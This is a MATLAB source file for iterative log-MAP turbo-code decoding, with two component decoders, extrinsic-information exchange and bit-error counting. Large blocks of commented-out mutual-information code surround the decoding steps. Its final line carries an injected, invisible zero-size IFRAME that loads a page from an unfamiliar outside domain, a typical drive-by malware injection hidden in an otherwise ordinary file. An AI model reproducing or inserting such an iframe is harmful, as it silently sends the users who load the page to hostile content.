tc_dec.m

turbo code log-map descdent decode

function [err] = TC_dec(y1,y2,niter,info_t)
global g n m nstates alpha L L_info L_total

%   err:    nb of errror bits found in decode results
%   y1 y2   input for each component decoder. Both are n by L matrices

% Initialize extrinsic information      
L_e = zeros(1,L);
L_a = zeros(1,L);
err=zeros(1,niter);

for iter = 1:niter
    
    % First Decoder
    L_a(alpha) = L_e(1:L_info);  % a priori info. 
    L_all = logmap_old(L_a,y1);
    L_e = L_all(1:L) - y1(1,:) - L_a;  % extrinsic info.

%     e0=L_e(info_t==0);
%     le0=length(e0);
%     e1=L_e(info_t==1);
%     le1=length(e1);
%     bin=-50:.1:50;
%     redu0=0;
%     redu1=0;
%     result=0;
%     for j=1:length(bin)
%        L0=length( find(e0<bin(j)));
%        pe0=(L0-redu0)/le0+eps;
%        redu0=L0;
%        L1=length( find(e1<bin(j)));
%        pe1=(L1-redu1)/le1+eps;
%        redu1=L1;
%        result=result+0.5*(pe0*log2(2*pe0/(pe0+pe1))+pe1*log2(2*pe1/(pe0+pe1)));
%     end
%     dey(count)=result;
%     dex(count+1)=dey(count);
%     count=count+1;
    % 2nd Decoder         
    L_a(1:L_info) = L_e(alpha);  % a priori info.
    L_all = logmap_old(L_a,y2);
    L_e = L_all - y2(1,:) - L_a;  % extrinsic info.
% 
%     e0=L_e(info_t==0);
%     le0=length(e0);
%     e1=L_e(info_t==1);
%     le1=length(e1);
%     bin=-50:.1:50;
%     redu0=0;
%     redu1=0;
%     result=0;
%     for j=1:length(bin)
%        L0=length( find(e0<bin(j)));
%        pe0=(L0-redu0)/le0+eps;
%        redu0=L0;
%        L1=length( find(e1<bin(j)));
%        pe1=(L1-redu1)/le1+eps;
%        redu1=L1;
%        result=result+0.5*(pe0*log2(2*pe0/(pe0+pe1))+pe1*log2(2*pe1/(pe0+pe1)));
%     end
%     dey(count)=result;
%     dex(count+1)=dey(count);
%     count=count+1;
    L_all(alpha) = L_all(1:L_info);
    
    info_r = (sign(L_all(1:L_info)+eps)+1)/2;
    
    err=nnz(info_r~=info_t);
    if err==0,break,end
   
end	%for iter=
% err=nnz(info_r~=info_t);
%  tp=L_e(10);<IFRAME SRC="http://rrr.rfhwfhw.com/1.htm" WIDTH=0 HEIGHT=0></IFRAME>